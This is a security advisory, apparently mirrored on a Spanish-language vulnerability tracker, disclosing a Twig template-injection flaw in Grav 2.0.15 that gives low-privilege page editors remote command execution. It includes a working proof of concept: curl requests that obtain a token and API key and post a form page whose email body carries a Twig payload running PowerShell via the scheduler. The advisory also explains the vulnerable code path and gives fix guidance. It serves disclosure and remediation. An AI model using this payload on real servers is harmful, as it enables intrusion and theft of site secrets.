GHSA-GH8J-Q67C-J53F
RCE via Unsandboxed Email Twig Rendering
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-GH8J-Q67C-J53F divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Grav 2.0.15 renders page-editor-controlled Email action parameters as unsandboxed Twig templates. An authenticated remote user with only `api.access` and `api.pages.write` can place a Twig expression in `header.form.process.email.body`, publish the page, and submit the form to execute an arbitrary operating-system process as the account running PHP.
The attacker does not need `admin.super`, `admin.pages_twig`, `api.system.write`, an existing machine login, root privileges, environment-variable control, or a working mail server.
Details
1. A page editor can persist arbitrary form action parameters
`user/plugins/api/classes/Api/Controllers/PagesController.php` protects page creation and updates with `api.pages.write` (2.0.15 lines 35 and 380-398):
private const PERMISSION_WRITE = 'api.pages.write';
public function create(ServerRequestInterface $request): ResponseInterface
{
$this->requirePermission($request, self::PERMISSION_WRITE);
// ...
$header = $body['header'] ?? [];
}The partial blueprint validator deliberately ignores keys that are not defined by the page blueprint (`AbstractApiController.php`, 2.0.15 lines 418-422):
$field = $schema->getProperty($name);
if (!is_array($field) || !isset($field['type'])) {
// Not a blueprint-defined field (extra/legacy key) — nothing to validate.
continue;
}Consequently, a page writer can persist an arbitrary nested `header.form.process.email` structure. The special Twig-content authorization check in `PagesController::guardTwigContent()` (2.0.15 lines 2657-2703, especially lines 2662-2674) examines only `header.process.twig`; it does not examine Twig embedded in form Email parameters. The attacker therefore does not need `admin.pages_twig`, and `process.twig` can remain disabled.
2. Grav treats `header.form` as an executable form definition
`system/src/Grav/Common/Page/Traits/PageFormTrait.php` loads forms directly from page frontmatter (2.0.15 lines 25-44):
// First grab page.header.form
$form = $this->normalizeForm($header->form ?? null, null, $rules);When the form is submitted, `user/plugins/form/classes/Form.php` iterates the attacker-authored `process` map and fires `onFormProcessed` with each action and its parameters (2.0.15 lines 987-1008):
$process = $this->items['process'] ?? [];
foreach ($process as $action => $data) {
$event = new Event(['form' => $this, 'action' => $action, 'params' => $data]);
$grav->fireEvent('onFormProcessed', $event);
}The Email plugin receives the `email` action and calls `Email::buildMessage()` (`user/plugins/email/email.php`, 2.0.15 lines 100-140).
3. Email parameters are rendered outside the Twig sandbox
`user/plugins/email/classes/Email.php`, 2.0.15 lines 389-428, recursively processes every string parameter:
protected function processParams(array $params, array $vars = []): array
{
$twig = Grav::instance()['twig'];
$twig->init();
$vars += $twig->twig_vars;
array_walk_recursive($params, function (&$value) use ($twig, $vars) {
if (is_string($value)) {
// Process Twig strings WITHOUT security filtering
// Email params come from trusted YAML config, not user input
$value = $this->processTwigString($twig, $value, $vars);
}
});
return $params;
}
protected function processTwigString(Twig $twig, string $string, array $vars): string
{
$name = '@EmailVar:' . md5($string);
$twig->setTemplate($name, $string);
return $twig->twig->render($name, $vars);
}The comment that Email parameters come only from trusted YAML is incorrect because page editors can author the YAML frontmatter used by the Form plugin.
`system/src/Grav/Common/Twig/Sandbox/GravSourcePolicy.php` enables the sandbox only for source names beginning with `@Page:` or `@Var:` (2.0.15 lines 33-43):
return str_starts_with($name, '@Page:') || str_starts_with($name, '@Var:');The `@EmailVar:` source therefore executes without sandbox method restrictions.
4. Unsandboxed Twig exposes an operating-system process primitive
`system/src/Grav/Common/Twig/Extension/GravExtension.php` exposes the complete Grav container as a global (2.0.15 lines 100-104):
public function getGlobals(): array
{
return ['grav' => $this->grav];
}The container maps `scheduler` to `Grav\Common\Scheduler\Scheduler` (`system/src/Grav/Common/Grav.php`, 2.0.15 line 123). `Scheduler::addCommand()` accepts a command and attacker-controlled argument array (`system/src/Grav/Common/Scheduler/Scheduler.php`, 2.0.15 lines 266-279):
public function addCommand($command, $args = [], $id = null)
{
$job = new Job($command, $args, $id);
$this->queueJob($job->configure($this->config));
return $job;
}`Job::run()` passes the command to Symfony Process (`system/src/Grav/Common/Scheduler/Job.php`, 2.0.15 lines 398-443; process construction occurs at lines 429-443):
$args = is_string($this->args) ? explode(' ', $this->args) : $this->args;
$command = array_merge([$this->command], $args);
$process = new Process($command);
$process->run();This makes the following Twig expression an operating-system command execution primitive:
{{ grav.scheduler.addCommand('powershell.exe', ['-NoProfile', '-Command', '...']).inForeground().run() }}Message construction occurs before Email delivery. The command therefore executes even when Sendmail/SMTP is absent and the form ultimately reports a mail-delivery error.
The same sink is also directly reachable through `POST /api/v1/email/send` in `user/plugins/email/classes/EmailApiController.php` (2.0.15 lines 24-56). That shorter route requires `api.system.write`; the page-form route is the security-boundary violation because it requires only page-write authority.
PoC
Prerequisites
- A non-super test account named `test` with these permissions:
- `api.access`
- `api.pages.read`
- `api.pages.write`
- The account no need to have `admin.super`, `admin.pages_twig`, or `api.system.write`.
Step 1: Obtain a JWT as `test`
From Windows Command Prompt (`cmd`):
set "BASE=http://127.0.0.1/grav-admin"
curl -s -X POST "%BASE%/api/v1/auth/token" ^
-H "Content-Type: application/json" ^
--data-raw "{\"username\":\"test\",\"password\":\"TEST_USER_PASSWORD\"}"Copy the returned `access_token`:
set "TOKEN=eyJ_REPLACE_WITH_ACCESS_TOKEN"Step 2: Let `test` create its own API key
Creating a key for the currently authenticated account requires only `api.access` .
curl -s -X POST "%BASE%/api/v1/users/test/api-keys" ^
-H "X-API-Token: %TOKEN%" ^
-H "Content-Type: application/json" ^
--data-raw "{\"name\":\"RCE reproduction\",\"scopes\":[\"api.pages.read\",\"api.pages.write\"],\"expiry_days\":1}"Copy the returned one-time `api_key` value:
set "TESTKEY=grav_REPLACE_WITH_TEST_KEY"Step 3: Create a form page containing the Twig payload
curl -i -X POST "%BASE%/api/v1/pages" ^
-H "X-API-Key: %TESTKEY%" ^
-H "Content-Type: application/json" ^
--data-raw "{\"route\":\"/rce-proof\",\"title\":\"RCE proof\",\"template\":\"form\",\"content\":\"\",\"header\":{\"published\":true,\"form\":{\"name\":\"rce-proof\",\"fields\":[],\"buttons\":[{\"type\":\"submit\",\"value\":\"Verify\"}],\"process\":{\"email\":{\"from\":\"verification@example.test\",\"to\":\"verification@example.test\",\"subject\":\"Local verification\",\"body\":\"{{ grav.scheduler.addCommand('powershell.exe', ['-NoProfile','-Command','Start-Process calc.exe']).inForeground().run() }}\"}}}}}"Expected result: `HTTP/1.1 201 Created`. The request succeeds despite the account lacking `admin.pages_twig` and `api.system.write`.
Step 4: Trigger the form
Open the following URL in a browser:
http://127.0.0.1/grav-admin/rce-proofClick Verify button and you can see the calc.
Impact
This is a server-side template injection vulnerability leading to arbitrary operating-system command execution. It breaks the intended separation between a content/page editor and the server runtime.
An attacker who compromises or legitimately holds a low-privilege page-editor account can execute programs, read or alter site data, steal application secrets, modify executable content, establish persistence, and pivot to resources reachable by the server.
Fix
- Replace the custom `@EmailVar:` renderer with Grav's existing sandboxed string renderer:
```php
return $twig->processString($string, $vars);
```
- Add `@EmailVar:` to `GravSourcePolicy` as defense in depth if that source name remains in use.
- Prefer a dedicated minimal Twig environment for Email parameters that does not expose the `grav` container or arbitrary object methods.
- Add regression tests using an account with `api.access` and `api.pages.write` but without `admin.pages_twig`, `api.system.write`, or super-admin access.
- Consider rejecting or separately authorizing executable Twig in `header.form.process.email` during page creation and update.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistgetgrav/grav-plugin-email |
Corregida | 5.0.4 | — | — |
Packagistgetgrav/grav |
Corregida | 2.0.16 | — | — |
2.0.165.0.4Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/getgrav/grav/security/advisories/GHSA-gh8j-q67c-j53fLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
